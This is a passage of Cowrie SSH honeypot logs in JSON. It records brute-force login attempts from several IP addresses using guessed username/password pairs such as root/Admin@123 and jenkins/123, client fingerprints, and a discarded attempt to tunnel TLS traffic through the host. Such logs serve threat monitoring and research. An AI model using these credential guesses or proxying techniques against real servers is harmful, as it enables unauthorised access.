::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 z\\x15\\x16*\\x033'\\xf3F-\\xb8r<\\xed\\x97\\\\\\xa34\\x98d\\xdc`\\xd1+9!\\x95\\tb\\xe6(v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.275461Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.522408Z","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.783333Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@E6\\xb3\\x1bt\\xc1\\x87W\\xbd}\\xa2f\\xc0\\xa3c_\\x8e\\x9e\\x08h\\xcf\\xcdO\\xec\\xce\\x15v\\xd3\\x9b\\x99\\xb5 \\xfb(c@\\x07\\xb5\\xfa\\x9c#\\xc8p\\xd9\\xb3\\x8f\\xdf\\xdb\\xc20\\x88\\n\\xa7*\\xcc\\xf0\\x10\\x9cD\\xedp5\\xf6H\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 o:ou3\\x96P7\\xde\\x841\\xafW\\x9c\\xf5\\xa3\\xe0\\x06\\x81\\x9bo\\xf1Cc\\x0ea\\xf8\\xe8\\xbbb\\xa7i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@E6\\xb3\\x1bt\\xc1\\x87W\\xbd}\\xa2f\\xc0\\xa3c_\\x8e\\x9e\\x08h\\xcf\\xcdO\\xec\\xce\\x15v\\xd3\\x9b\\x99\\xb5 \\xfb(c@\\x07\\xb5\\xfa\\x9c#\\xc8p\\xd9\\xb3\\x8f\\xdf\\xdb\\xc20\\x88\\n\\xa7*\\xcc\\xf0\\x10\\x9cD\\xedp5\\xf6H\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 o:ou3\\x96P7\\xde\\x841\\xafW\\x9c\\xf5\\xa3\\xe0\\x06\\x81\\x9bo\\xf1Cc\\x0ea\\xf8\\xe8\\xbbb\\xa7i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:10.796971Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:11.193228Z","src_ip":"123.27.168.40","session":"09de803030f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40434,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b2f510ef44","protocol":"ssh","message":"New connection: 45.153.34.195:40434 (10.17.0.5:22) [session: 42b2f510ef44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:11.226537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:11.243587Z","src_ip":"45.153.34.195","session":"42b2f510ef44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:11.336363Z","src_ip":"45.153.34.195","session":"42b2f510ef44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:11.851790Z","src_ip":"45.153.34.195","session":"42b2f510ef44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":35374,"dst_ip":"159.203.135.109","dst_port":22,"session":"c709e781555b","protocol":"ssh","message":"New connection: 160.187.180.146:35374 (159.203.135.109:22) [session: c709e781555b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:12.335664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:12.340581Z","src_ip":"160.187.180.146","session":"c709e781555b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:12.546631Z","src_ip":"160.187.180.146","session":"c709e781555b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:12.937374Z","src_ip":"45.153.34.195","session":"42b2f510ef44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mhd","password":"P@ssw0rd","message":"login attempt [mhd/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:13.402182Z","src_ip":"160.187.180.146","session":"c709e781555b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42562,"dst_ip":"10.17.0.5","dst_port":22,"session":"95351e132df9","protocol":"ssh","message":"New connection: 45.153.34.195:42562 (10.17.0.5:22) [session: 95351e132df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:14.247102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:14.256038Z","src_ip":"45.153.34.195","session":"95351e132df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:14.341460Z","src_ip":"45.153.34.195","session":"95351e132df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"123","message":"login attempt [public/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:14.606368Z","src_ip":"45.153.34.195","session":"95351e132df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:14.616368Z","src_ip":"160.187.180.146","session":"c709e781555b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:15.696791Z","src_ip":"45.153.34.195","session":"95351e132df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"f791d099aac7","protocol":"ssh","message":"New connection: 45.153.34.195:42564 (10.17.0.5:22) [session: f791d099aac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:17.153611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:17.158205Z","src_ip":"45.153.34.195","session":"f791d099aac7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:17.251267Z","src_ip":"45.153.34.195","session":"f791d099aac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:17.509862Z","src_ip":"45.153.34.195","session":"f791d099aac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:18.594130Z","src_ip":"45.153.34.195","session":"f791d099aac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42566,"dst_ip":"10.17.0.5","dst_port":22,"session":"0592a8b2240e","protocol":"ssh","message":"New connection: 45.153.34.195:42566 (10.17.0.5:22) [session: 0592a8b2240e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:19.867676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:19.959974Z","src_ip":"45.153.34.195","session":"0592a8b2240e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:19.963418Z","src_ip":"45.153.34.195","session":"0592a8b2240e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:20.571250Z","src_ip":"45.153.34.195","session":"0592a8b2240e","protocol":"ssh"}
